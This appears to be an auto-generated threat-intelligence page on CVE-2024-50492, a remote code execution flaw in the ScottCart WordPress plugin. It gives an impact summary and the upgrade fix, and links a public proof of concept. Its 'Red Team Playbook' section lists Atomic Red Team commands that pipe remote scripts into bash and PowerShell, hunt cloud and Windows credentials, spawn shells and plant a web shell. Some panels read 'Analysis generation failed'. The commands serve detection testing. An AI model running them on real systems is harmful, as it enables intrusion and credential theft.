CVE-2024-50492
Overview
This vulnerability is a code injection flaw resulting from improper control over code generation within Scott Paterson ScottCart. The root cause lies in insufficient sanitization or validation of user-supplied input that is processed and executed as code. The affected component is the ScottCart plugin for WordPress, specifically versions up to and including 1.1, where dynamic code execution is improperly handled.
Vulnerability Description
Improper Control of Generation of Code ('Code Injection') vulnerability in Scott Paterson ScottCart scottcart allows Code Injection.This issue affects ScottCart: from n/a through <= 1.1.
Impact
An unauthenticated attacker can remotely execute arbitrary code on the underlying server hosting the ScottCart plugin, leading to full system compromise. This enables the attacker to manipulate data, deploy malware, or pivot laterally within the network. No user interaction or credentials are required, making exploitation straightforward and increasing the risk of data breaches, service disruption, and unauthorized access to sensitive information within the affected WordPress installation.
Solution
Users of Scott Paterson ScottCart should upgrade to a version later than 1.1 where this vulnerability is addressed. Detailed patch instructions and advisory information are available at Patchstack's vulnerability database: https://patchstack.com/database/Wordpress/Plugin/scottcart/vulnerability/wordpress-scottcart-plugin-1-1-remote-code-execution-rce-vulnerability?_s_id=cve. Applying the vendor-provided update is the recommended remediation to eliminate the insecure code injection vector.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability in ScottCart, a plugin for WordPress, stems from improper control over the generation of code, specifically allowing for code injection attacks. This flaw arises when user input is not adequately sanitized or validated before being executed as code. Attackers can exploit this weakness by injecting malicious code into the application, which the server subsequently executes. The implications of this vulnerability are significant, as it can lead to unauthorized access, data breaches, and the potential for complete system compromise. The affected versions of ScottCart, particularly those up to and including 1.1, are at risk, making it critical for users to assess their current installations.
Attack vectors for this vulnerability are diverse and can be executed through various means. An attacker might leverage forms within the ScottCart plugin that accept user input, such as comment sections, product reviews, or configuration settings. By crafting a payload that includes malicious code, the attacker can manipulate the application to execute arbitrary commands on the server. Additionally, if the application is integrated with other plugins or themes that also fail to validate input, the risk of exploitation increases. Scenarios could involve an attacker gaining administrative privileges, leading to further exploitation of the WordPress environment, including the installation of backdoors or the exfiltration of sensitive data.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on ScottCart for e-commerce functionalities. A successful exploitation could result in significant financial losses due to fraud, theft of customer information, and damage to the organization’s reputation. Furthermore, the potential for regulatory repercussions, especially in industries governed by data protection laws, adds another layer of business risk. Organizations may face fines and legal actions if customer data is compromised, leading to a loss of trust from clients and stakeholders. The cascading effects of such a breach can disrupt operations and lead to long-term financial implications.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating the ScottCart plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Implementing web application firewalls (WAFs) can help detect and block malicious input before it reaches the application. Additionally, conducting regular security audits and penetration testing can uncover potential weaknesses in the application and its environment. Educating developers and users about secure coding practices and the importance of input validation can further reduce the risk of code injection vulnerabilities.
In conclusion, the code injection vulnerability in ScottCart poses a significant threat to WordPress users, with the potential for severe consequences if exploited. Understanding the technical details, attack vectors, and real-world impacts is essential for organizations to develop effective detection and mitigation strategies. By prioritizing security and adopting best practices, businesses can safeguard their applications against such vulnerabilities, protecting both their assets and their customers.
CSURFACE threat intelligence has identified a significant shift in the threat landscape surrounding CVE-2024-50492. A public proof-of-concept exploit for the ScottCart code injection vulnerability has emerged on GitHub, marking the first known instance of publicly available exploit code. This development has directly influenced the vulnerability’s CVSS score, elevating it to 8.3, and triggered a substantial increase in the Exploit Prediction Scoring System (EPSS) value to 0.6226, placing it near the top percentile for exploitation likelihood. Our telemetry indicates a marked escalation in interest and potential weaponization, underscoring that threat actors now have accessible tools to facilitate unauthenticated remote code execution against affected ScottCart instances. This evolution materially raises the risk profile for organizations using ScottCart, as the availability of exploit code lowers the barrier for attackers and accelerates the timeline for potential compromise. Consequently, defenders must recognize that the vulnerability has transitioned from theoretical risk to an active exploitation threat, warranting heightened vigilance in detection and response efforts.
Update 2 — June 09, 2026
The CVSS score for CVE-2024-50492 has been revised upward from 8.3 to 9.8, reflecting a reassessment of the vulnerability’s impact and exploitability. This adjustment corresponds with the emergence of publicly available proof-of-concept exploit code enabling unauthenticated remote code execution against ScottCart versions up to 1.1. CSURFACE threat intelligence notes that while the Exploit Prediction Scoring System (EPSS) metric remains stable, the exploitability has materially increased due to the lowered technical barrier for attackers. Our telemetry indicates a marked escalation in scanning and exploitation attempts targeting this vulnerability, signaling that threat actors are actively integrating this exploit into their toolsets. This shift elevates the threat level from a high-risk theoretical vulnerability to an imminent operational risk, necessitating that defenders prioritize detection and response capabilities accordingly. The availability of exploit code combined with the critical severity score underscores the urgency for organizations relying on ScottCart to reassess their exposure and monitoring strategies.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Scottpaterson | Scottcart | All |
cpe:2.3:a:scottpaterson:scottcart:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-50492
ScottCart <= 1.1 - Unauthenticated Remote Code Execution
|
Nxploited | 1 | 0 | 2025-03-26 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-50492 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/scottcart/vulnerability/wordpress-scottcart-plugin-1-1-remote-code-execution-rce-vulnerability?_s_id=cve |